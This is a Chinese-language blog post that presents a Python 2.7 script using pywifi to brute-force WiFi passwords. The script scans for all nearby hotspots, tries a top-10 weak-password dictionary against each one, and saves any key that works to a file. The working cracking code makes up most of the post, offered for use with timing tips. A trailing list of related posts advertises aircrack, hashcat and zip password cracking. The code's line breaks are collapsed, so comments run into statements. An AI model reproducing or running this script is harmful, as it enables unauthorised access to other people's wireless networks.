Python尝试破解wifi无线密码
上点python有意思的代码。
环境准备
- python2.7
- pywifi模块
- 字典
- 清除系统中的任何wifi连接记录
导入模块
这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。
from pywifi import * import time import sys
字典准备
随机搞的wifi弱口令TOP10
- 12345678
- 123456789
- 88888888
- 1234567890
- 00000000
- 87654321
- 66668888
- 11223344
- 147258369
- 11111111
配置扫描器
推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里
def main():#扫描时常scantimes = 3#单个密码测试延迟testtimes = 15output = sys.stdout#结果文件保存路径files = "TestRes.txt"#字典列表keys = open(sys.argv[1],"r").readlines()print "|KEYS %s"%(len(keys))#实例化一个pywifi对象wifi = PyWiFi()#选择定一个网卡并赋值于ifaceiface = wifi.interfaces()[0]#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置scanres = scans(iface,scantimes)#统计附近被发现的热点数量nums = len(scanres)print "|SCAN GET %s"%(nums)print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)#将每一个热点信息逐一进行测试for i,x in enumerate(scanres):#测试完毕后,成功的结果讲存储到files中res = test(nums-i,iface,x,keys,output,testtimes)if res:open(files,"a").write(res)
扫描周围热点
def scans(face,timeout):#开始扫描face.scan()time.sleep(timeout)#在若干秒后获取扫描结果return face.scan_results()
热点测试
这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。
def test(i,face,x,key,stu,ts):#显示对应网络名称,考虑到部分中文名啧显示bssidshowID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid#迭代字典并进行爆破for n,k in enumerate(key):x.key = k.strip()#移除所有热点配置face.remove_all_network_profiles()#讲封装好的目标尝试连接face.connect(face.add_network_profile(x))#初始化状态码,考虑到用0会发生些逻辑错误code = 10t1 = time.time()#循环刷新状态,如果置为0则密码错误,如超时则进行下一个while code!=0 :time.sleep(0.1)code = face.status()now = time.time()-t1if now>ts:breakstu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))stu.flush()if code == 4:face.disconnect()return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)return False
案例
这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了
- WIFIID 热点的id号 每跑一个会减1
- SSID OR BSSID 热点的ssid名或mac地址
- N 对热点的连接状态,这个在
- time 当前所花去的时间
- signal 热点的信号强度,若小越好
- KEYNUM 测试密码的id 每跑一个会减1
- KEY 当前测试的密码
Python尝试破解wifi无线密码相关推荐
- python小玩意——破解wifi数字密码
代码功能: 通过创建8位数密码本,然后遍历连接你想要的wifi,不过这个只能连接密码是数字的哦~ 生成数字密码本: import itertools as itsimport datetimestar ...
- kali入门到放弃系列二:破解wifi无线密码
前置条件: 建议在淘宝购买一个linux免驱动无线网卡(自己买过绿联,水星等等无线网卡,发现都不能做到linux免驱动) 先上一张破解过程的图 以下是正式流程: 1.kali系统登录后,执行 ifco ...
- aircrack_hashcat非字典高速破解目标无线密码
目录 aircrack & hashcat 非字典高速破解目标无线密码 aircrack & hashcat 非字典高速破解目标无线密码 0x01 挂载好外置无线网卡 把用于抓包的 ...
- KaLinux破解查看无线密码
KaLinux破解查看无线密码 https://www.acfun.cn/v/ac34527906?shareUid=37166771 查看网卡端口: airmon-ng 打开监听: airmon-n ...
- Python 暴力破解zip文件密码(相对简单的密码)
Python 暴力破解zip文件密码(相对简单的密码) 密码的使用范围很广,首先,我们要明确密码的作用,其次要明白密码的类型. 密码的作用是进行权限的限制,判断用户的合法性,(不 ...
- Python练习-破解wifi密码
#是这样的,本想着自己写点啥东西,用python,发现转一圈不知道啥好.就抱着学习的态度,研究了以下破解wifi密码的代码 先贴上代码,然后一段段分析 # coding:utf-8from tkint ...
- python代码破解wifi,含密码字典
破解wifi密码 包括代码和密码字典 https://pan.baidu.com/s/1JvKd6VV8X7bamS-yK9nRyA?pwd=q7i5 提取码: q7i5 复制这段内容后打开百度网盘手 ...
- [转]如何使用BackTrack破解WIFI无线网络的WEP密钥
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface) 你可能已经知道如果你想要加锁自己的WIFI无线网络,你最 ...
- 如何使用BackTrack破解WIFI无线网络的WEP密钥
你可能已经知道如果你想要加锁自己的WIFI无线网络,你最好选择WPA加密方式,因为WEP加密很容易被人破解.但是,你知道有多么的容易么?下面我们来看看吧. 注意:此帖是验证如何破解很少使用而陈旧的WE ...
最新文章
- linux install goolepinyin_Linux截图工具推荐(Ubuntu 18.04亲测)
- BaaS, IaaS, PaaS, SaaS介绍
- app.config自定义配置节点
- Matlab学习笔记——图形绘制
- php删除数组中的空元素_PHP | 从数组中删除所有出现的元素
- Android View框架总结(三)View工作原理
- jQuery 滚动条插件nicescroll 使用方法、常见配置和事件回调使用说明
- 跳步游戏2--返回最小跳步数
- VBA中调用Excel函数
- 谷歌play下载无法安装_否,您无法从Google Play下载32GB SD卡
- CP 15 协处理器
- 一个屌丝程序员的青春(一九一)
- 多肉商店html网页代码,[转载]国外多肉植物及种子购买网站(转载)
- SQL两张表如何关联
- uniapp图片或文件的预览和下载,兼容ios+安卓+浏览器
- L1-044 稳赢 - java
- Ubuntu下如何录制gif动态图
- 用ChatGPT处理Excel。。真有你的!
- html + thymeleaf 制作邮件模板
- JavaScript数据结构之 —— 08哈希表